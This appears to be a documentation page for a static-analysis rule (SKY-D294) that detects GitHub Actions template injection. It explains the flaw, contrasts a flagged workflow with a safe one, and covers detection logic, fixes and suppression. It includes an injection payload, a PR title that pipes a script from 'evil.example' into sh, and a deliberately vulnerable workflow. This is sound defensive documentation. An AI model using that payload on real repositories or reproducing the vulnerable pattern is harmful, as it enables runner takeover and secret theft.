SKY-D294 · CI/CD pipelines
GitHub Actions template injection
GitHub Actions replaces every ${{ … }} expression with its value before the step runs. When that value is text someone else wrote, such as a pull request title or an issue comment, and it lands inside a run: script, the text becomes part of the shell command.
- Languages
- GitHub Actions workflows, composite actions
- Quality gate
- counted toward the gate limits (full and diff scans)
- Finding type
- review
Why it matters
A pull request titled x"; curl -s https://evil.example/x.sh | sh; echo " runs that command on your runner, with the job's token and secrets. On a pull_request_target or issue_comment workflow, anyone with a GitHub account can do this.
What Skylos flags
name: PR titleon: pull_request_target: types: [opened, edited, synchronize]permissions: pull-requests: readjobs: check-title: runs-on: ubuntu-latest steps: - name: Require a Conventional Commits title run: | title="${{ github.event.pull_request.title }}" if ! echo "$title" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; then echo "::error::PR title must look like 'fix(api): short summary'" exit 1 fiWhat Skylos leaves alone
name: PR titleon: pull_request_target: types: [opened, edited, synchronize]permissions: pull-requests: readjobs: check-title: runs-on: ubuntu-latest steps: - name: Require a Conventional Commits title env: TITLE: ${{ github.event.pull_request.title }} run: | if ! echo "$TITLE" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; then echo "::error::Rename PR #${{ github.event.pull_request.number }}" exit 1 fiWhy Skylos leaves it alone
The title reaches the script as the environment variable $TITLE, which the shell treats as data, never as code. The one expression left in the script is the pull request number, which GitHub always fills with digits, so nobody can shape it.
How Skylos decides
- Reads
*.ymland*.yamlfiles under any.github/workflowsfolder, andaction.yml/action.yamlcomposite actions. - Looks at the places where text becomes code: a step's
run:, a job'scontainer.optionsandservices.*.options, composite-action steps, and code inputs of 16 known actions, such asactions/github-script'sscript. - Parses each
${{ … }}in those places. Only values that end up in the text count: a comparison such as== 'main'or acontains()result does not. - Decides whether someone else can shape the value. Following GitHub's hardening guide, a
github.eventfield is attacker text only when its name ends withbody,default_branch,email,head_ref,label,message,name,page_name,refortitle(andhead_branch, a branch name). Logins, node ids, SHAs, URLs and numbers such aspull_request.numbercannot carry shell syntax and do not count, nor does the base side of a pull request.github.head_refcounts;secrets.*,vars.*,github.actorandgithub.ref_namedo not. - Follows indirect values to where they are set:
env.*through step, job and workflowenv:,matrix.*,steps.<id>.outputs.*back to the line that writes$GITHUB_OUTPUT,needs.<job>.outputs.*, andinputs.*. - Grades severity by who can start the job.
issues,issue_comment,pull_request_target, review and discussion events, andworkflow_runreachable from a fork are open to outsiders, for the event types an outsider can cause, unless the job'sif:keeps them out or a job itneedschecks the actor's permission. A permission check in the same job does not count.pull_requestandpushgive LOW. An expression whose every value only maintainers set (workflow_dispatchinputs,releaseandrepository_dispatchpayloads) or that comes from a caller not visible here is kept as hygiene advice: it stays in the report but is not listed by default. - Reports one finding per expression, on the line where it appears.
How to fix it
Pass the value through env: and use the quoted shell variable in the script. The expression is then expanded into YAML data, not into code.
name: PR titleon: pull_request_target: types: [opened, edited, synchronize]permissions: pull-requests: readjobs: check-title: runs-on: ubuntu-latest steps: - name: Require a Conventional Commits titleAdded: env:Added: TITLE: ${{ github.event.pull_request.title }} run: |Removed: title="${{ github.event.pull_request.title }}"Removed: if ! echo "$title" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; thenAdded: if ! echo "$TITLE" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; then echo "::error::PR title must look like 'fix(api): short summary'" exit 1 fiWhen it can be wrong
- Workflows triggered by
pull_requestorpushstill get LOW findings: the text comes from someone with write access, or from a fork's pull request, which runs with a read-only token and no secrets. - A value set through
$GITHUB_ENVcannot be traced and is reported as LOW; inputs of composite actions, and string inputs of reusable workflows without a caller in the repository, are MEDIUM. - The flagged example also gets SKY-D290, a separate and real finding about its
pull_request_targettrigger. Moving the title toenv:clears both.
Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.
How to silence it
In YAML, write exactly one rule per marker, on the reported line or on the line directly above it. It may also be a shell comment inside the
run:block.YAML run: | # skylos: ignore[SKY-D294] value is validated by the previous step echo "${{ steps.check.outputs.slug }}"[tool.skylos] ignore = ["SKY-D294"]turns the rule off for the whole project. A baseline also works, but it records the absolute file path, so it does not match in a checkout at another location.